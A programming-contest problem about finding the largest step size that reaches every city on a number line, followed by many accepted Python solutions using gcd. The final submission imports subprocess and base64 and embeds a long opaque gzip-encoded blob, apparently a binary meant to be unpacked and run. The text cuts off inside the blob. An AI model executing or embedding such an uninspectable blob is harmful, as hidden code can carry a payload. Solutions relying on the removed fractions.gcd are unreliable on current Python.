Problem:


Score : 300 points

Problem Statement

There are N cities on a number line. The i-th city is located at coordinate x_i.

Your objective is to visit all these cities at least once.

In order to do so, you will first set a positive integer D.

Then, you will depart from coordinate X and perform Move 1 and Move 2 below, as many times as you like:

Move 1: travel from coordinate y to coordinate y + D.

Move 2: travel from coordinate y to coordinate y - D.

Find the maximum value of D that enables you to visit all the cities.

Here, to visit a city is to travel to the coordinate where that city is located.

Constraints

All values in input are integers.

1 \leq N \leq 10^5

1 \leq X \leq 10^9

1 \leq x_i \leq 10^9

x_i are all different.

x_1, x_2, ..., x_N \neq X

Input

Input is given from Standard Input in the following format:

N X
x_1 x_2 ... x_N

Output

Print the maximum value of D that enables you to visit all the cities.

Sample Input 1

3 3
1 7 11

Sample Output 1

2

Setting D = 2 enables you to visit all the cities as follows, and this is the maximum value of such D.

Perform Move 2 to travel to coordinate 1.

Perform Move 1 to travel to coordinate 3.

Perform Move 1 to travel to coordinate 5.

Perform Move 1 to travel to coordinate 7.

Perform Move 1 to travel to coordinate 9.

Perform Move 1 to travel to coordinate 11.

Sample Input 2

3 81
33 105 57

Sample Output 2

24

Sample Input 3

1 1
1000000000

Sample Output 3

999999999



Sample input:
3 3
1 7 11


Sample output:
2

Submission status: Accepted

Solution code:
"""
# 標準入力取得
## 文字列
 = sys.stdin.readline().rstrip()
 = list(sys.stdin.readline().rstrip())

## 数値
 = int(sys.stdin.readline())
 = map(int, sys.stdin.readline().split())
 = list(map(int, sys.stdin.readline().split()))
 = [list(map(int,list(sys.stdin.readline().split()))) for i in range(h)]  # 二次元配列入力　二次元マップみたいな入力のとき

# 0埋め, 小数点出力桁指定時のときの出力
a = 100
b = 0.987654321
print("{0:06d}-{1:6f}".format(a,b))
000100-0.987654

# 文字列をリストに格納
char_list = list("abcd") # ["a","b","c","d"]
"""

import math
import sys
import itertools
import queue
from fractions import gcd

import functools
from functools import reduce


def lcm(a, b):
    return a * b // gcd(a, b)

mod = 1000000007

if __name__ == "__main__":
    N,X = map(int, sys.stdin.readline().split())
    x = list(map(int, sys.stdin.readline().split()))
    l=[]
    for i in range(N):
        l.append(abs(X-x[i]))
    ans = reduce(gcd,l)
    print(ans)

Submission status: Accepted

Solution code:
from fractions import gcd

N, X = map(int, input().split())
x = list(map(int, input().split()))
ans = abs(x[0]-X)
for i in range(1, N):
    k = abs(x[i]-X)
    ans = gcd(ans, k)
print(ans)

Submission status: Accepted

Solution code:
from functools import reduce
import fractions

N, X = map(int,input().split())
x = list(map(int,input().split()))
x = list(map(lambda x:abs(x-X), x))
x = reduce(lambda a,b: fractions.gcd(a,b), x)
print(x)

Submission status: Accepted

Solution code:
n, x = map(int, input().split())
X = list(map(int, input().split()))

from fractions import gcd

ans = abs(X[0]-x)
for i in range(n):
  ans = gcd(ans,abs(X[i]-x))
  
print(ans)

Submission status: Accepted

Solution code:
def gcd(x,y):
    if y == 0:
        return x
    else: return gcd(y, x % y)

n,X = [int(_) for _ in input().split()]
x = [int(_) for _ in input().split()]
list = []
for i in x:
    list.append(abs(i-X))
if n == 1:
    print(abs(x[0]-X))
else:
    mn = 10000000000
    for i in range(1,len(list)):
        mn = min(mn, gcd(list[i-1],list[i]))
    print(mn)

Submission status: Accepted

Solution code:
import fractions

N, X = map(int, input().split())
x = list(map(int, input().split()))
for i in range(len(x)):
  x[i] = abs(x[i] - X)
g = x[0]
for i in range(1, N):
  g = fractions.gcd(g, x[i])
  
print(g)

Submission status: Accepted

Solution code:
n,k = map(int,input().split())
x = list(map(int,input().split()))
ans = 0
t = 0
 
def gcd(a,b):
  while b:
    a,b = b,a%b
  return abs(a)
 
for i in range(n):
    t = abs(x[i]-k)
    ans = gcd(ans,t)
print(ans)

Submission status: Accepted

Solution code:
N,X = map(int, input().split())
x = list(map(int, input().split()))

for i in range(N):
    x[i] = abs(x[i] - X)

from fractions import gcd

ans = x[0]
for i in range(1,N):
    ans = gcd(ans,x[i])
print(ans)

Submission status: Accepted

Solution code:
# ABC109 C - Skip
n,k = map(int,input().split())
x = list(map(int,input().split()))
ans = 0
t = 0

def gcd(a,b):
  while b:
    a,b = b,a%b
  return abs(a)

for i in range(n):
    t = abs(x[i]-k)
    ans = gcd(ans,t)
print(ans)

Submission status: Accepted

Solution code:
import fractions
from functools import reduce

def gcd_list(numbers):
    return reduce(fractions.gcd, numbers)
  
n, x = map(int, input().split())
l = list(map(int, input().split()))
d = [0]*n
for i in range(n):
  d[i] = abs(l[i]-x)
  
print(gcd_list(d))

Submission status: Accepted

Solution code:
N, X = map(int, input().split())
xs = list(map(int, input().split()))
xs = list(map(lambda x: x-X, xs))
#print(xs)
def calcgcd(a, b):
  if a > b:
    a, b = b, a
  while a > 0:
    a, b = b%a, a
  return b
r = abs(xs[0])
for x in xs:
  r = calcgcd(r, abs(x))
print(r)

Submission status: Accepted

Solution code:
from fractions import gcd
from functools import reduce

N, X = map(int,input().split())
xlist = list(map(int, input().split()))
new_xlist = [(x - xlist[0]) for x in xlist]
X -= xlist[0]
print(abs(reduce(gcd, new_xlist + [X])))

Submission status: Accepted

Solution code:
from functools import reduce
from fractions import gcd
n,x=map(int,input().split())
X=list(map(int,input().split()))
X=[abs(y-x) for y in X]
print(reduce(gcd,X))

Submission status: Accepted

Solution code:
N,X = map(int,input().split())
list_x = list(map(int,input().split()))

'''考え方
都市の位置をソートする
距離を全て計算
距離の最大公約数を計算
'''

if len(list_x) == 1:
  ans = abs(X-list_x[0])
  print(ans)
  exit()

list_x.sort()
list_dist = []
for i,city in enumerate(list_x):
  if (i == len(list_x) - 1):
    continue
  
  list_dist.append(list_x[i+1] - list_x[i])

## 初期位置と年の間の距離も追加する
## 一番小さい都市、大きい都市のいずれか
_ = min(abs(X-list_x[0]),abs(X-list_x[-1]))
list_dist.append(_)

## 上記で求めたリストから最大公約数を求める
import fractions
ans = list_dist[0]
len_list_dist = len(list_dist)

for i in range(1, len_list_dist):
    ans = fractions.gcd(ans, list_dist[i])

print(ans)

Submission status: Accepted

Solution code:
from functools import reduce
from fractions import gcd

N, X = map(int, input().split())
x = list(map(int, input().split()))
x.append(X)
town = sorted(x)

print(reduce(gcd, [town[i+1] - town[i] for i in range(len(town)-1)]))

Submission status: Accepted

Solution code:
n, x = map(int, input().split())
xs = list(map(int, input().split()))

def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a

import numpy as np

xs = np.array(xs)
diffs = abs(xs - x)

ans = diffs[0]
for i in range(1, n):
    ans = gcd(ans, diffs[i])
print(ans)

Submission status: Accepted

Solution code:
n, x = map(int, input().split())
t = list(map(int, input().split()))

def gcd(a, b):
  c = a%b
  if c == 0:
    return b
  return gcd(b, c)

ans = 0

for i in t:
  j = abs(x-i)
  if ans == 0:
    ans = j
  else:
    ans = gcd(ans, j)

print(ans)

Submission status: Accepted

Solution code:
from functools import reduce
from fractions import gcd
N,X = map(int,input().split())
x = list(map(int,input().split()))
list = list(abs(X-i) for i in x)
print(reduce(gcd,list))

Submission status: Accepted

Solution code:
def gcd(p, q):
    if p < q:
        p, q = q, p
    while q > 0:
        p, q = q, p%q
    return p
n, x = map(int, input().split())
x_list = [abs(int(i)-x) for i in input().split()]
a = x_list[0]
for i in range(1, n):
    a = gcd(a, x_list[i])
print(a)

Submission status: Accepted

Solution code:
n,X=map(int,input().split())
x=list(map(int,input().split()))
y=[X]*n
new = [abs(a-b) for (a,b) in zip(x,y)]
import fractions
if len(new) == 1:
    print(new[0])
elif len(new) ==2:
    print(fractions.gcd(new[0],new[1]))
else:
    gcd=fractions.gcd(new[0],new[1])
    for i in range(2,len(new)-1):
        gcd=fractions.gcd(gcd,new[i])
    print(gcd)

Submission status: Accepted

Solution code:
from functools import reduce
from fractions import gcd

N,X=map(int,input().split())
x=[abs(X-int(i)) for i in input().split()]

print(reduce(gcd,x))

Submission status: Accepted

Solution code:
import fractions
n,x=list(map(int,input().split()))
xi=list(map(int,input().split()))

gc=abs(x-xi[0])
for i in range(n-1):
  sa=abs(xi[i]-xi[i+1])
  gc=fractions.gcd(gc,sa)
print(gc)

Submission status: Accepted

Solution code:
import fractions

N, X = map(int, input().split())
x = list(map(int, input().split()))

if len(x) == 1:
    print(abs(x[0] - X))
else:
    g = x[1] - x[0]
    for i in range(N - 1):
        g = fractions.gcd(g, x[i + 1] - x[i])

    ans = fractions.gcd(g, max(max(x) - X, X - min(x)))
    print(ans)

Submission status: Accepted

Solution code:
import sys
import math
from fractions import gcd
# import queue
# from collections import Counter
# from itertools import accumulate
from functools import reduce

def lcm(a, b):
    return a * b // gcd(a, b)

def combination_count(n, r):
    return math.factorial(n) // (math.factorial(n - r) * math.factorial(r))

def permutations_count(n, r):
    return math.factorial(n) // math.factorial(n - r)

big_prime = 1000000007

"""
# 標準入力取得
## 文字列
 =  sys.stdin.readline().rstrip()
 =  list(sys.stdin.readline().rstrip())

## 数値
 =  int(sys.stdin.readline())
 =  map(int, sys.stdin.readline().split())
 =  list(map(int, sys.stdin.readline().split()))
 =  [list(map(int,list(sys.stdin.readline().split()))) for i in range(N)]
"""

# 左端点から右端点に行くパターン
# 右端点から左端点に行くパターン
# 求めるのはDの最大値
# 差のgcdとか？

N, X =  map(int, sys.stdin.readline().split())
L =  list(map(int, sys.stdin.readline().split()))
L.append(X)
L = sorted(L)
D = [x2 - x1 for x1, x2 in zip(L , L[1::])]
print(reduce(gcd, D))

Submission status: Accepted

Solution code:
from fractions import gcd
from functools import reduce

def gcd_list(numbers):
    return reduce(gcd, numbers)


[n,x]=[int(x) for x in input().split()]
xlist=[int(x) for x in input().split()]+[x,]
xlist.sort()
sabunlist=[xlist[i+1]-xlist[i] for i in range(n)]
print(gcd_list(sabunlist))

Submission status: Accepted

Solution code:
def make_divisors(n):
    divisors = []
    for i in range(1, int(n**0.5)+1):
        if n % i == 0:
            divisors.append(i)
            if i != n // i:
                divisors.append(n//i)

    divisors.sort(reverse=True)
    return divisors

N,X=map(int,input().split())
x=[abs(X-int(_)) for _ in input().split()]
x.sort()
divisor = make_divisors(x[0])
result=1
for d in divisor:
    for elem in x:
        if elem%d!=0:
            break
        if elem==x[-1]:
            result=d
            break
    if result!=1:
        break
print(result)

Submission status: Accepted

Solution code:
import fractions
n,x = map(int,input().split())
list_x = list(map(int,input().split()))
ans = list_x[0]
for i in range(n):
  if i == 0:
    ans = abs(x - list_x[i])
  else:
    ans = fractions.gcd(ans,abs(x - list_x[i]))
print(ans)

Submission status: Accepted

Solution code:
from fractions import gcd

n, x = map(int, input().split())
li = list(map(int, input().split()))
li += [x]
li.sort()
nums = []
for i in range(n):
  nums.append(li[i+1]-li[i])
  
nums = set(nums)

ans = 0
for i in nums:
  if ans == 0:
    ans = i
  else:
    ans = gcd(ans, i)
print(ans)

Submission status: Accepted

Solution code:
def gcd(a, b):
    if b == 0:
        return a
    else:
        return gcd(b, a%b)

def main():
    N, X = map(int, input().split())
    x = list(map(int, input().split()))

    ans = abs(x[0] - X)
    for i in range(1, N):
        ans = gcd(ans, abs(x[i] - X))
    print(ans)

if __name__ == "__main__":
    main()

Submission status: Accepted

Solution code:
from sys import stdin
from fractions import gcd
from functools import reduce
n, x, *xs = map(int, stdin.read().split())
print(reduce(gcd, [abs(xs[i] - x) for i in range(n)]))

Submission status: Accepted

Solution code:
import sys

stdin = sys.stdin

ni = lambda: int(ns())
na = lambda: list(map(int, stdin.readline().split()))
ns = lambda: stdin.readline().rstrip()  # ignore trailing spaces

n, x = na()
x_li = na()
li = []
for i in range(n):
    li.append(abs(x - x_li[i]))
import fractions

ans = li[0]
for i in range(n):
    ans = fractions.gcd(ans, li[i])
print(ans)

Submission status: Accepted

Solution code:
import subprocess
import gzip, base64, os
import stat

gz = b'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